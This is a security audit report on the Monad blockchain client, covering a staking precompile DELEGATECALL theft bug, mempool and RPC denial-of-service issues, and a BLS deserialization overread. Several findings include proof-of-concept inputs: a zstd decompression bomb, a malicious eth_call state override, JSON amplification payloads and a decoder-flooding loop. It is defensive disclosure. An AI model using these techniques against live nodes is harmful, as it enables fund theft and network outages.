Organization
- @monad-crypto
Engagement Type
Spearbit Web3
Period
-
Researchers
Findings
Critical Risk
1 findings
1 fixed
0 acknowledged
High Risk
15 findings
10 fixed
5 acknowledged
Medium Risk
10 findings
6 fixed
4 acknowledged
Low Risk
8 findings
4 fixed
4 acknowledged
Informational
13 findings
2 fixed
11 acknowledged
Critical Risk1 finding
DELEGATECALL to staking precompile allows theft of all staked MON
Severity
- Severity: Critical
Submitted by
Haxatron
Description
Note: This issue was known internally by the protocol team and fixed in a later commit after the issue had been submitted. However, it is still kept in the report for completeness.
(Issue found in commit hash 4cbb1742cd31ee30a0d2c6edb698400d9d70f9d8)
The staking precompile does not enforce that the EVMC message kind passed to the precompile is not
DELEGATECALL
. This has very severe implications since the staking precompile works by getting the user to transfer native MON viamsg.value
to the precompile.Result<byte_string> StakingContract::precompile_delegate( byte_string_view const input, evmc_address const &msg_sender, evmc_uint256be const &msg_value){
Since
DELEGATECALL
preservesmsg.value
andmsg.sender
from the previous caller context, a user can setup a malicious contract thatdelegatecall
sprecompile_delegate
for instance, the native MON will be transferred to malicious contract but themsg.value
will be reused inprecompile_delegate
without actually transferring the funds to the staking precompile.State updates will then occur in the staking contract recording the user's stake without the staking precompile actually having received the funds (this is because the state variables in the precompile contract are defined for the precompile address resulting in
state_.set_storage(STAKING_CONTRACT_ADDRESS...
being called).The user can then withdraw their funds from the staking precompile and the malicious contract resulting in the theft of all staked MON.
Also related to this issue is a user can call state-changing precompile functions using
STATICCALL
which should not be allowed asSTATICCALL
should not allow state changes.Recommendation
Enforce that EVMC message kind is
CALL
for all state-changing staking precompile functions (precompile_get_delegator
,precompile_add_validator
,precompile_delegate
,precompile_undelegate
,precompile_compound
,precompile_withdraw
,precompile_claim_rewards
) andCALL
andSTATICCALL
for non state-changing precompile functions (precompile_get_validator
)Category Labs: We were planning to ban everything except
EVMC_CALL
(including onget_validator
even though static call is fine) before anything gets dispatched. Fixed in 215721ad.Spearbit:
STATICCALL
is still allowed to state-changing precompiles as themsg.flags
is not checked to beEVMC_STATIC
Category Labs: Fixed in fc820c9
High Risk15 findings
Unbounded memory consumption in the mempool due to lack of transaction size and count limits
State
- Acknowledged
Severity
- Severity: High
Submitted by
Haxatron
Description
Currently there are two mempools in Monad. a tracked mempool and a pending mempool. The problem is both mempool perform insufficient limit checks to prevent unbounded memory consumption which can lead to an OOM crash scenario. For example,
-
As discussed in https://github.com/category-labs/monad-bft/issues/1557, for both pools there is no maximum limit on the transaction size which can lead to a single transaction consuming unbounded amounts of memory.
-
Furthermore, there is no limit on the number of transactions for any address in the tracked pool, meaning that a single address that has been promoted to the tracked pool can flood the tracked pool with many spam transactions to exhaust memory and cause an OOM.
Recommendation
It is recommended to enforce more checks on the transaction size and count limits. For instance, here is how Geth implements their strategy to manage transaction limits in the mempool, which can be referenced here.
-
Enforce 512kB size limit (> max initcodesize) on individual transactions.
-
Track transactions using the amount of 32kB slots they occupy (this is similar to Geth implementation here), enforce a 4096+1024=5120 slots on the mempool (so that the maximum memory consumed by the mempool is 5120 * 32kB = 163.84MB). This maximum slot size can be incremented if the expected minimum hardware requirements for Monad are stronger.
Category Labs: The issue is partially fixed here which enforces a 384kB size limit on individual transactions. The tracked pool transaction count limit is currently being worked on in this open issue.
Mempool denial-of-service via MAX_ADDRESSES
State
- Acknowledged
Severity
- Severity: High
Submitted by
Haxatron
Description
Below is a rough diagram of the current transaction pool architecture implemented in Monad.
Currently there are two mempools in Monad. a tracked pool and a pending pool.
- All addresses are by default untracked.
- Any transaction for an untracked address will first fall into the pending pool while transactions for tracked addresses will fall into the tracked pool.
- During
create_proposal
orupdated_committed_block
, addresses are promoted to the tracked pool, up to theMAX_ADDRESSES
capacity. - During
create_proposal
, only transactions from the tracked pool will be selected via standard priority fee mechanism. - Time-based expiration per transaction exists only for the tracked pool
- An address is evicted from the tracked pool when it no longer has any transactions in the
TrackedTxList
The way the transaction pool is architected allows for a denial-of-service vector by hogging
MAX_ADDRESSES
limit via multiple spam accounts. There are two main issues here:-
In both the tracked and pending mempool, priority fee replacement only works for transactions of the same address, if
MAX_ADDRESSES
is reached we simply drop the transaction. The pool lacks an eviction strategy to evict lower fee transactions across address which allows consuming space inMAX_ADDRESSES
to prevent others from submitting transactions to the mempool. This differs from Geth where if the transaction limit is reached the lowest fee transaction from any address, not just the address that submitted the transaction, is evicted. This implementation can be seen here. -
A tracked address can periodically submit nonce-gapped transactions to the tracked pool, such transactions will never be executed in a committed block (as they are nonce-gapped). Consequently, this prevents tracked address from being evicted from the
TrackedTxMap
since they always have a single nonce-gapped transaction in theirTrackedTxList
, thereby consuming space in theMAX_ADDRESSES
and preventing untracked addresses from being promoted.
Recommendation
It is recommended to come up with better eviction strategies to better handle transactions in the mempool. Here are some recommendations to take into account:
-
Lower fee transactions should be evicted from the mempool if a higher fee transaction comes in and eviction should also take into account whether the transaction is currently executable with the correct account nonce and priority fee.
-
Address with ONLY non-executable transactions such as nonce-gapped transactions should not be allowed into the tracked mempool or demoted if it no longer has any executable transactions of the next nonce. This is to prevent hogging
MAX_ADDRESSES
for the tracked pool.
Category Labs: We are tracking it in this open issue.
Missing transaction validation of EIP-7623 data floor gas in consensus
Description
The consensus code present in monad-eth-block-policy is missing transaction static validation of EIP-7623: Data Floor Gas, which changes calldata pricing for transactions with large calldata. This is a problem because the execution code does implement EIP-7623 as part of the Prague fork during static validation of the transaction.
validate_transaction.cpp#L97-L102
// EIP-7623 if constexpr (rev >= EVMC_PRAGUE) { if (MONAD_UNLIKELY(floor_data_gas(tx) > tx.gas_limit)) { return TransactionError::IntrinsicGasGreaterThanLimit; } }
So a transaction that passes static validation in consensus will be rejected during static validation in execution. During execution, this transaction is considered an invalid transaction, which note is different from a reverting transaction and the function
execute
will return early and return an error viaBOOST_OUTCOME_TRY
execute_transaction.cpp#L220-L232
Result<ExecutionResult> execute( Chain const &chain, uint64_t const i, Transaction const &tx, Address const &sender, BlockHeader const &hdr, BlockHashBuffer const &block_hash_buffer, BlockState &block_state, BlockMetrics &block_metrics, boost::fibers::promise<void> &prev) ... BOOST_OUTCOME_TRY(static_validate_transaction<rev>( tx, hdr.base_fee_per_gas, chain.get_chain_id(), chain.get_max_code_size(hdr.number, hdr.timestamp)));
for (unsigned i = 0; i < block.transactions.size(); ++i) { MONAD_ASSERT(results[i].has_value()); if (MONAD_UNLIKELY(results[i].value().has_error())) { LOG_ERROR( "tx {} {} validation failed: {}", i, block.transactions[i], results[i].value().assume_error().message().c_str()); } BOOST_OUTCOME_TRY(auto retval, std::move(results[i].value())); retvals.push_back(std::move(retval)); }
What makes this a problem is the transaction is invalid (different from a revert), returns an error, but no gas is actually charged for it since
execute
will exit early. In Monad, nodes agree on the transactions to execute before actually executing them, this means that an attacker can set a transaction with a large gas limit, but does not obey EIP-7623. This passes static validation in consensus code but fails static validation in execution code, as a result this transaction can occupy space in a proposal without the attacker needing to pay any gas for it, leading to a reliable denial-of-service vectorRecommendation
Validate EIP-7623 in the consensus code in monad-eth-block-policy as well.
Raptorcast deserialization susceptible to zstd decompression bomb
State
- Acknowledged
Severity
- Severity: High
≈
Likelihood: Medium×
Impact: Medium Submitted by
Guido Vranken
Description
Deserialization of a (small) crafted input to Raptorcast's deserialization function can incur a high computational cost; approximately 0.5-1 second of processing time per 27 bytes of payload on modern hardware.
Proof of Concept
diff --git a/monad-raptorcast/src/message.rs b/monad-raptorcast/src/message.rsindex 205c0a49..24b3906c 100644--- a/monad-raptorcast/src/message.rs+++ b/monad-raptorcast/src/message.rs@@ -256,6 +256,7 @@ impl<M: Decodable, ST: CertificateSignatureRecoverable> InboundRouterMessage<M, mod tests { use bytes::BytesMut; use monad_secp::SecpSignature;+ use std::time::{Duration, Instant}; use rstest::*; use super::*;@@ -443,4 +444,20 @@ mod tests { _ => panic!("expected AppMessage variant"), } }++ #[test]+ fn test_deserialization_decompression_bomb() {+ let serialized = Bytes::from(&[+ 0xda, 0xc2, 0x5d, 0x02, 0x01, 0x23, 0x94, 0x28, 0xb5, 0x2f, 0xfd, 0x14,+ 0x88, 0x5d, 0x00, 0x00, 0xdd, 0xf9, 0x1f, 0x06, 0xfd, 0x40, 0x14, 0x02,+ 0x30, 0x07, 0x4f+ ][..]);++ let start = Instant::now();+ for _i in 1..100 {+ let _ = InboundRouterMessage::<TestMessage, SecpSignature>::try_deserialize(&serialized);+ }+ let duration = start.elapsed();+ assert!(duration < Duration::from_secs(1), "Operation took too long: {:?}", duration);+ } }
Output:
running 1 testtest message::tests::test_deserialization_decompression_bomb ... FAILED failures: ---- message::tests::test_deserialization_decompression_bomb stdout ---- thread 'message::tests::test_deserialization_decompression_bomb' panicked at monad-raptorcast/src/message.rs:461:9:Operation took too long: 23.343895969snote: run with `RUST_BACKTRACE=1` environment variable to display a backtrace failures: message::tests::test_deserialization_decompression_bomb test result: FAILED. 0 passed; 1 failed; 0 ignored; 0 measured; 41 filtered out; finished in 23.34s
Tested on "AMD EPYC 9454P 48-Core Processor".
Recommendation
The zstd decompressor uses streaming decompression. Use bulk decompression instead, as this mode has a much lower worst case complexity.
Category Labs: Acknowledged. ZSTD was intentionally disabled for mainnet launch to avoid running into this issue in PR 2184, and there is an internal issue to track this.
Incorrect update to validator accumulators on syscall_epoch_change
Severity
- Severity: High
Submitted by
Haxatron
Description
(Issue found in commit hash 1a7f9476081abc734fc6fa359698c3b8f9806576)
In
syscall_epoch_change
, we attempt to update all the accumulators of validators present in the snapshot view at the beginning of a new epoch. This is meant to store the accumulator at the beginning for the epoch to calculate rewards fordelta_stake
uint64_t const num_active_vals = vars._valset_snapshot().length(); for (uint64_t i = 0; i < num_active_vals; i += 1) { auto const val_id = vars.valset_execution.get(i).load(); auto val = vars.val_execution(val_id); // TODO: once Maged's speculative execution is merged, move this // into a separate loop. { auto acc_storage = vars.acc(next_epoch, val_id); auto acc = acc_storage.load_checked(); if (acc.has_value()) { acc->value = val.acc().load(); // this is the realtime val.acc acc_storage.store(*acc); // store in the next_epoch } } ... }
The problem with the above code is that we fetch the validators to update by index from
valset_execution
. However, this may not actually correspond to the actual snapshot validators asvalset_execution
may still contain non-snapshot validators. A concrete scenario where this could happen would be the following:-
Initially, there are 201 validators ordered from index
[0, 1, 2 ... 200]
invalset_execution
wherevalset_execution[i+1].stake > valset_execution[i].stake
for alli
(stakes are in ascending order). -
During
syscall_snapshot
, we place the top 200 validators into the consensus view. Thus thevalset_consensus
will contain the validator[1, 2 ... 200]
by index fromvalset_execution
. Importantly, validator index 0 invalset_execution
is not removed as it is not added to theremovals
array (sinceflags == ValidatorFlagsOk
), sovalset_execution
still remains[0, 1, 2 ... 200]
.
uint64_t const num_validators = vars.valset_execution.length(); for (uint64_t i = 0; i < num_validators; i += 1) { auto const val_id = vars.valset_execution.get(i).load(); auto const val_execution = vars.val_execution(val_id); // TODO: once Maged's speculative execution is merged, move this // into a separate loop. auto const flags = val_execution.get_flags(); if (MONAD_LIKELY(flags == ValidatorFlagsOk)) { uint256_t const stake = val_execution.stake().load().native(); heap.emplace(val_id, stake); if (heap.size() > ACTIVE_VALSET_SIZE) { heap.pop(); // smallest element removed } } else { removals.push_back(i); } }
- On the next next epoch change, where
valset_consensus
will becomevalset_snapshot
after the boundary block, and thus the new accumulators for each validator in the snapshot validator set that has passed through the epoch will need to be computed.
- However, referring to the first code snippet, the first 200 active validators of
valset_execution
will have their accumulators updated meaning to say[0, 1, 2 ... 199]
present invalset_execution
will be updated. However, in actual factvalset_snapshot
consists of[1, 2 ... 199, 200]
present invalset_execution
, thus not all snapshot validators will have their accumulators updated.
Another scenario would be that if a validator auth address withdraws all its stake while it is active in the current
valset_consensus
. Whensyscall_snapshot
is called, this validator would be removed fromvalset_execution
. However since it is currently invalset_consensus
it must be retained invalset_snapshot
after the boundary block. When iterating throughvalset_execution
duringsyscall_epoch_change
, the validator present invalset_snapshot
will not be accessible invalset_execution
and thus its accumulator will not be updated.Recommendation
It should not be assumed that the first N validators in
valset_execution
are present invalset_snapshot
. You need to iterate through each item invalset_snapshot
to obtain the correctval_id
Out-of-bounds reads in point deserializations in StakingContract::precompile_add_validator
Severity
- Severity: High
≈
Likelihood: Low×
Impact: High Submitted by
Guido Vranken
Description
(Issue found in commit hash 4cbb1742cd31ee30a0d2c6edb698400d9d70f9d8)
StakingContract::precompile_add_validator
interprets 48 bytes of input asbls_pubkey_serialized
:auto const bls_pubkey_serialized = unaligned_load<byte_string_fixed<48>>(consume_bytes(reader, 48).data());
It deserializes this into a
Bls_Pubkey
:Bls_Pubkey bls_pubkey(bls_pubkey_serialized);
Bls_Pubkey(byte_string_fixed<48> const &serialized) { parse_result_ = blst_p1_deserialize(&pubkey_, serialized.data()); }
blst_p1_deserialize
callsPOINTonE1_Deserialize_Z
, which, based on bit flags in the first byte of the input, decides whether to interpret it as a uncompressed (callsPOINTonE1_Deserialize_BE
which reads 96 bytes) or compressed (callsPOINTonE1_Uncompress_Z
which reads 48 bytes) point:unsigned char in0 = in[0]; if ((in0 & 0xe0) == 0) return POINTonE1_Deserialize_BE(out, in); if (in0 & 0x80) /* compressed bit */ return POINTonE1_Uncompress_Z(out, in);
(Reference: https://github.com/supranational/blst/blob/6d960cd05d6fe2b5bc9ba161edf0c1a131b87c4c/src/e1.c#L331-L337)
If a user manipulates the first byte of
bls_pubkey_serialized
so that blst interprets it as an uncompressed key, blst will overreadbls_pubkey_serialized
by 48 bytes.By the same token, a crafted
bls_signature_serialized
can cause a 96 byte overread in equivalent logic inblst_p2_deserialize
.Minimal proof of concept:
$ cat x.cpp && $CXX $CFLAGS -I bindings/ x.cpp libblst.a && ./a.out #include <blst.h>#include <array>#include <cstdint> int main(void) { std::array<uint8_t, 48> bls_pubkey_serialized = {}; blst_p1_affine p; blst_p1_deserialize(&p, bls_pubkey_serialized.data()); return 0;}===================================================================2365033==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ba040ede050 at pc 0x5632af688f52 bp 0x7ffe10f28f50 sp 0x7ffe10f28f48READ of size 1 at 0x7ba040ede050 thread T0 #0 0x5632af688f51 in limbs_from_be_bytes /home/jhg/staking-blst-bug/blst/./src/bytes.h:24:17 #1 0x5632af688f51 in POINTonE1_Deserialize_BE /home/jhg/staking-blst-bug/blst/./src/e1.c:303:5 #2 0x5632af688f51 in POINTonE1_Deserialize_Z /home/jhg/staking-blst-bug/blst/./src/e1.c:334:16 #3 0x5632af683cef in main /home/jhg/staking-blst-bug/blst/x.cpp:8:5
Memory exfiltration
Because the bug provides a read primitive it seems reasonable to use this as an memory exfiltration mechanism, where unrelated process memory is reflected back to the attacker.
unaligned_load<byte_string_fixed<48>>
causes the program to make a copy of the input data on the local stack, so any bytes adjacent to may be unrelated or uninitialized data.However, no memory contents is reflected back directly. The deserialization functions will only succeed if the out-of-bounds bytes represent an Y coordinate corresponding to the attacker-specified X coordinate.
precompile_add_validator
reverting or not is observable to the attacker. If the attacker specifies a sets of inputs that would normally makeprecompile_add_validator
succeed, they can adjust that input such that the first byte of the bls public key so that an overread occurs.precompile_add_validator
will then succeed if and only if the 48 bytes adjacent tobls_pubkey_serialized
constitute a valid Y coordinate. This setup can act as a binary oracle which divulges whether or not the out-of-bounds bytes have some specific value.The attacker would hypothesize that the out-of-bounds memory region comprises a specific set of 48 bytes. In order to make the oracle work, they'd have to find the X coordinate that matches this Y coordinate. They would then invoke the oracle which confirms or rejects the hypothesis.
With many cryptographic elliptic curves it is infeasible to compute the affine X coordinate from a given affine Y coordinate, such that the point (X,Y) is on the curve. However, this is possible with BLS12-381:
Sagemath:
p = 0x1a0111ea397fe69a4b1ba7b6434bacd764774b84f38512bf6730d2a0f6b0f6241eabfffeb153ffffb9feffffffffaaabFp = GF(p) def deduce_x(y): y = Fp(y) k = y**2 - 4 if k == 0: return [Fp(0)] else: return k.nth_root(3, all=True)
However, the code requires that public keys (and signatures) are not only on the curve, but they are also in the prime-order subgroup:
class Bls_Pubkey { ... ... bool is_valid() const noexcept { // NOTE: deserializing already checks the point is on the curve return parse_result_ == BLST_SUCCESS && blst_p1_affine_in_g1(&pubkey_) && !blst_p1_affine_is_inf(&pubkey_); }
class Bls_Signature { .... .... bool is_valid() const noexcept { // NOTE: deserializing already checks the point is on the curve return parse_result_ == BLST_SUCCESS && blst_p2_affine_in_g2(&sig_) && !blst_p2_affine_is_inf(&sig_); }
Prime-order subgroup points are a very sparse subset of curve points; only about 1 in 2^127 arbitrary Y coordinates will have subgroup membership.
Without this constraint, it might have been feasible to leverage the oracle to divulge memory layout details that could be meaningful for exploiting write primitives. The subgroup requirement significantly limits any exfiltration opportunities.
Stability
Small buffer overreads like these usually do not cause crashes, but it may happen with aggressive compiler optimization.
Consensus
It may be possible to groom the process stack contents such that a call to
precompile_add_validator
with a specificinput
andmsg_value
reverts sometimes, but not always. This would entail a consensus failure as nodes diverge in their chain state.An attacker may compute the Y coordinate of a BLS public key that would ordinarily make the call to
precompile_add_validator
succeed. Instead of sending the public key in compressed form, they first make one or more calls toprecompile_add_validator
with the 48-byte Y coordinate stored somewhere ininput
.Then, they'd call
precompile_add_validator
as one ordinarily would (with a valid BLS public key and other variables), except that they clear the compressed bit.blst_p1_uncompress
will now read both the X and Y coordinate, overreading the 48 bytes adjacent to the X coordinate. With some non-zero probability, the 48 bytes of out-of-bounds bytes equal the valid Y coordinate, and the call succeeds.Ordinarily, the odds of interpreting an Y coordinate from unrelated stack memory would be miniscule, but grooming techniques could make this feasible.
Recommendation
Either reject uncompressed points immediately by testing the first byte of their serialized representation, or call compressed-only deserialization functions that will fail for any uncompressed representations.
RPC Assertions allow malicious clients to DoS RPC providers
Description
An RPC-based DoS vulnerability exists where malicious eth_call requests can trigger exception-based failures in balance overflow checks. The vulnerability occurs in /monad/category/execution/ethereum/state3/state.hpp:365-369 where balance overflow protection uses assertions that can disrupt RPC service availability.
Affected Code:
// state.hpp:365-369 - Balance overflow checkMONAD_ASSERT_THROW( std::numeric_limits<uint256_t>::max() - delta >= account.value().balance, "balance overflow");// ↑ THROWS EXCEPTION if: delta + account.balance > UINT256_MAX account.value().balance += delta; // rpc/eth_call.cpp - RPC balance manipulationif (balance > intx::be::load<uint256_t>(state.get_balance(address))) { state.add_to_balance( address, balance - intx::be::load<uint256_t>(state.get_balance(address)));}
The assertion triggers when delta + account.balance > UINT256_MAX during RPC call simulation, causing MonadException to be thrown, potentially disrupting RPC service.
Proof of Concept
RPC DoS Attack Scenario:
// Malicious eth_call request with state overrideeth_call({ "to": "0x742D35CC6AF93F4D2E1EDC04e1C77FD2FDbc4C09", "data": "0x...", // Any contract call "stateOverrides": { "0x742D35CC6AF93F4D2E1EDC04e1C77FD2FDbc4C09": { "balance": "0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE" // Balance set to UINT256_MAX - 1 } }})
Attack Execution:
- Attacker crafts eth_call with state override setting target account balance to near UINT256_MAX
- RPC handler processes the call and applies balance changes via add_to_balance()
- Any delta > 1 triggers the overflow condition: delta + (UINT256_MAX-1) > UINT256_MAX
- MONAD_ASSERT_THROW fires, throwing MonadException
- RPC call causes assertion to trigger and node crashes
Impact: RPC service disruption.
Recommendation
Implement overflow validation in RPC state override processing to prevent exception-based DoS:
// Safe balance override validation for RPC callsif (state_delta.balance.has_value()) { auto const requested_balance = intx::be::unsafe::load<uint256_t>( state_delta.balance.value().data()); // Validate balance is within reasonable limits for simulation if (requested_balance > std::numeric_limits<uint256_t>::max() / 2) { // Return error for unrealistic balance values instead of processing return Error("Balance override value too large for simulation"); } auto const current_balance = intx::be::load<uint256_t>(state.get_balance(address)); if (requested_balance > current_balance) { auto const delta = requested_balance - current_balance; // Check if addition would overflow before calling add_to_balance if (delta > std::numeric_limits<uint256_t>::max() - current_balance) { return Error("Balance overflow in state override"); } state.add_to_balance(address, delta); } else { state.subtract_from_balance(address, current_balance - requested_balance); }}
Alternative: Add input validation to reject state overrides with unrealistic balance values before they reach the balance manipulation code.
Peer list resource requirements can lead to DoS
Severity
- Severity: High
≈
Likelihood: Medium×
Impact: High Submitted by
Rikard Hjort
Description
A network participant can ping a node and be added to the peer list. However, there are a few issues:
- The node accepts whatever IP address the peer declares, regardless of the source of the packet.
- There is no restriction on the size of the peer list.
- Each ping triggers a signature check.
An attacker could spin up a single fake node implementation, or several, which only handles pings and pongs, and flood the network, filling up peer lists and overloading honest nodes.
Recommendation
Put a hard limit on the size of the peer list. It is separate from the dedicated full nodes and epoch validators list, and thus not critical to consensus. Keep validators and full nodes in the peer list and do not eject them, so that network discovery can reasonably be expected to function.
JSON-RPC Memory Amplification Vulnerability
State
- Acknowledged
Severity
- Severity: High
≈
Likelihood: High×
Impact: High Submitted by
dtheo
Description
The JSON-RPC server processes and parses JSON requests before applying rate limiting controls, creating potential for memory exhaustion attacks within configured payload limits. JSON payloads can be manipulated to be much larger in memory due to the underlying storage methods, allowing for 2MB JSON messages to consume 12-16MBs in memory. When batched these messages can consume significant amounts of memory.
Memory Amplification Mechanism:
serde_json::from_slice()
converts compact JSON intoserde_json::Value
enum structures:- JSON strings → heap-allocated
String
objects (capacity overhead) - JSON arrays →
Vec<Value>
with element boxing (24+ bytes per Value enum) - JSON objects →
HashMap<String, Value>
with hash table overhead - Numbers → enum variants with discriminant tags
Example:
"key":[1,2,3]
(12 bytes) → String(4) + Vec header + 3×Value enums ≈ 80+ bytes (6-8x amplification of message size into memory storage size)Attack Impact:
- Single request: 2MB JSON → 12-16MB memory
- Double parsing penalty (lines 18 + 81)
- Batch: 5,000 × 16MB = 80GB potential per IP
Primary Vulnerability: Parsing Before Rate Limiting
Location:
monad-bft/monad-rpc/src/handlers/mod.rs:65-89
pub async fn rpc_handler(body: bytes::Bytes, app_state: web::Data<MonadRpcResources>) -> HttpResponse { // VULNERABLE: JSON parsing occurs BEFORE any rate limiting let request: RequestWrapper<Value> = match serde_json::from_slice(&body) { Ok(req) => req, Err(e) => return HttpResponse::Ok().json(Response::from_error(JsonRpcError::parse_error())), }; // VULNERABLE: Second JSON parsing - still before rate limiting let Ok(request) = serde_json::from_value::<Request>(json_request.clone()) else { return HttpResponse::Ok().json(Response::from_error(JsonRpcError::parse_error())); }; // ... continues to method dispatch where rate limiting MAY be applied}
Rate Limiting Coverage Gap
Rate limiting only exists in 2 methods (
eth_call
,eth_estimateGas
) out of 25+ available methods:Protected Methods:
- eth_call
- eth_estimateGas
Unprotected Methods :
- debug_traceBlockByNumber
- debug_traceCall
- eth_sendRawTransaction
- eth_getLogs
- eth_getTransactionByHash
- eth_getBlockByHash
- eth_getBalance
- eth_getCode
- eth_getStorageAt
- eth_blockNumber
- eth_chainId
Current Protections
- HTTP payload limit: 2MB per request (configurable)
- Batch limit: 5,000 requests per batch (configurable)
- Global semaphore: 1,000 concurrent requests across ALL IPs
- No per-IP rate limiting
Proof-Of-Concept
Memory Amplification Attack
{ "jsonrpc": "2.0", "method": "eth_getBalance", // Unprotected method "params": ["0x1234567890123456789012345678901234567890", "latest"], "id": 1, "_attack_payload": { "large_array": [/* ~200k elements approaching 2MB limit */], "nested_objects": {/* complex nested structure */} }}
Batch Amplification
[ {"jsonrpc": "2.0", "method": "eth_getBalance", "params": [...], "_payload": {...}}, {"jsonrpc": "2.0", "method": "eth_getCode", "params": [...], "_payload": {...}}, // ... up to 5,000 requests per batch // Total: 5,000 × memory_amplification per 2MB HTTP request]
Attack Flow:
- HTTP layer accepts 2MB payload
serde_json::from_slice()
- Full JSON parsingserde_json::from_value()
- Second parsing
Recommendation
- Pre-parsing IP rate limiting: Check IP limits before JSON parsing
- Global parsing semaphore: Limit concurrent JSON parsing operations
- Method coverage: Extend rate limiting beyond just
eth_call
/eth_estimateGas
RaptorCast Combined Memory Exhaustion Attack
State
- Acknowledged
Severity
- Severity: High
≈
Likelihood: Medium×
Impact: High Submitted by
dtheo
Description
A memory exhaustion vulnerability exists by combining two separate RaptorCast weaknesses: an unbounded pending message cache and per-decoder memory allocation amplification. A malicious validator can leverage both vulnerabilities to achieve large memory consumption by flooding the system with incomplete messages that maximize per-decoder allocation while avoiding automatic cleanup mechanisms.
Attack Synopsis:
- Unbounded cache issue: Unlimited decoder instance creation via unbounded cache for incomplete messages
- Memory allocation amplification: Maximizes memory consumption per decoder instance
- Combined effect: Multiplicative memory exhaustion (Max per-decoder allocation × Unlimited incomplete decoder instances)
- Cleanup bypass: Incomplete messages never trigger successful decoding cleanup
Vulnerable Code Locations:
// udp.rs:135 - Unbounded cache enabling unlimited decoder instancespending_message_cache: LruCache::unbounded(), // udp.rs:316-327 - Per-decoder memory allocation based on attacker-controlled app_message_lenlet num_source_symbols = app_message_len.div_ceil(symbol_len).max(SOURCE_SYMBOLS_MIN);let encoded_symbol_capacity = MAX_REDUNDANCY .scale(num_source_symbols) .expect("redundancy-scaled num_source_symbols doesn't fit in usize");ManagedDecoder::new(num_source_symbols, encoded_symbol_capacity, symbol_len) .map(|decoder| DecoderState { decoder, recipient_chunks: BTreeMap::new(), encoded_symbol_capacity, seen_esis: bitvec![usize, Lsb0; 0; encoded_symbol_capacity], // Large per-decoder allocation }) // udp.rs:386-389 - Automatic cleanup only occurs on successful decodinglet decoded_state = self .pending_message_cache .pop(&key) // ← Cleanup only happens here, after successful decode .expect("decoder exists");
Proof-Of-Concept
// PREREQUISITE: Attacker must be active validator with signature authoritylet validator_keypair = malicious_validator_keys; // Requires validator stake // Maximize per-decoder memory allocationlet maximized_app_message_len = u32::MAX; // 4,294,967,295 byteslet minimal_symbol_len = 960; // Small symbol size for max division result // Create unlimited incomplete decoder instancesfor attack_iteration in 0..100_000 { let unique_message_content = format!("incomplete_attack_{}", attack_iteration); let unique_timestamp = base_timestamp + attack_iteration; let malicious_incomplete_packet = create_incomplete_chunk( &validator_keypair, // Valid validator signature maximized_app_message_len, // Memory amplification: Trigger max allocation minimal_symbol_len, // Memory amplification: Maximize division result unique_message_content, // Unbounded cache: Unique cache key unique_timestamp, // Unbounded cache: Unique cache key component current_epoch, // Must be active validator in epoch incomplete_chunk_design, // CRITICAL: Ensure message can NEVER complete ); send_udp_packet_to_target(malicious_incomplete_packet);}
Attack Impact
Memory Consumption:
- Per-decoder allocation: ~8MB per decoder instance (worst case)
- Attack scaling: 1,000 decoders = 8GB, 10,000 decoders = 80GB
- No automatic cleanup for incomplete messages
- Attack persists until manual intervention
Network Impact:
- Memory exhaustion leading to OOM conditions
- Node performance degradation and potential crashes
- Multi-node attack possible
- Consensus participation degradation
Attack Requirements:
- Active validator status (high barrier to entry)
- UDP message access
Recommendation
- Implement bounded cache with limits: Max decoders per validator and global memory bounds
- Add timeout-based cleanup: Automatically remove incomplete decoders after timeout period
- Per-validator rate limiting: Limit decoder creation rate per validator
- Memory monitoring: Alert on unusual memory allocation patterns
- Input validation: Reasonable limits on
app_message_len
and related parameters
eth_call RPC DoS via state override on staking contract during precompile_withdraw
Description
(Issue found in commit hash fc820c9ee9ab310c4fdd5e1888f72164c0b871c8)
It is possible to cause a denial-of-service to RPC nodes via
eth_call
by using a state override on the staking contract.The problem is that there exists a
MONAD_ASSERT
on the staking contract that checks if the current contract balance is>=
the amount of the withdrawal request duringprecompile_withdraw
.Result<byte_string> StakingContract::precompile_withdraw( byte_string_view const input, evmc_address const &msg_sender, evmc_uint256be const &){ ... auto withdrawal_request_storage = vars.withdrawal_request(val_id, msg_sender, withdrawal_id); auto withdrawal_request = withdrawal_request_storage.load_checked(); if (MONAD_UNLIKELY(!withdrawal_request.has_value())) { return StakingError::UnknownWithdrawalId; } ... auto const contract_balance = intx::be::load<uint256_t>(state_.get_balance(STAKING_CA)); MONAD_ASSERT(contract_balance >= withdrawal_amount); send_tokens(msg_sender, withdrawal_amount); ...}
Hence, it is possible with
eth_call
state override feature, to set the staking contract balance to 0, or set thewithdrawal_amount
stored in thewithdrawal_request
to be greater than the staking contract balance. This will cause theMONAD_ASSERT
to fail, therefore causing a denial-of-service of the RPC node.Recommendation
Eitther use
MONAD_ASSERT_THROW
that throws a program exception that is handled ineth_call
instead ofMONAD_ASSERT
which will abortOr revert earlier if
withdrawal_amount > contract_balance
CREATE / CREATE2 is not disabled during a delegated EOA call allowing delegated EOA transactions to be invalidated mid-block
Description
(Issue found in commit hash fc820c9ee9ab310c4fdd5e1888f72164c0b871c8)
The EIP-7702 spec notes the following:
A related issue is that an EOA’s nonce may be incremented more than once per transaction. Because clients already need to be robust in a worse scenario (described above), it isn’t a major concern. However, clients should be aware this behavior is possible and design their transaction propagation accordingly.
For Monad this is a more serious concern because of delayed execution. A preceding transaction can invalidate other transactions in a proposal by bumping the delegated EOA's nonce via CREATE / CREATE2. This invalid transaction will thus not be charged any gas as a result but will take up space in the proposal enabling virtually free block stuffing attacks.
Monad attempts to solve this by disabling
CREATE
andCREATE2
opcode when executing delegated code inevmc_host.cpp
.if (msg.kind == EVMC_CREATE || msg.kind == EVMC_CREATE2) { if (!create_inside_delegated_ && (msg.flags & EVMC_DELEGATED)) { return evmc::Result{EVMC_UNDEFINED_INSTRUCTION, msg.gas}; }
But there is a flaw with how it is handled here. Importantly, in the VM, the preceding CREATE / CREATE2 opcode implementation will pass in
msg.flags = 0
when calling the EVMC Host.auto message = evmc_message{ .kind = kind, .flags = 0, .depth = ctx->env.depth + 1, .gas = gas, .recipient = evmc::address{}, .sender = ctx->env.recipient, .input_data = (*size > 0) ? ctx->memory.data + *offset : nullptr, .input_size = *size, .value = bytes32_from_uint256(value), .create2_salt = bytes32_from_uint256(salt_word), .code_address = evmc::address{}, .code = nullptr, .code_size = 0, }; auto result = ctx->host->call(ctx->context, &message);
Thus
msg.flags & EVMC_DELEGATED
will always be 0, and the check will never work.Recommendation
The check needs to be shifted into the VM layer.
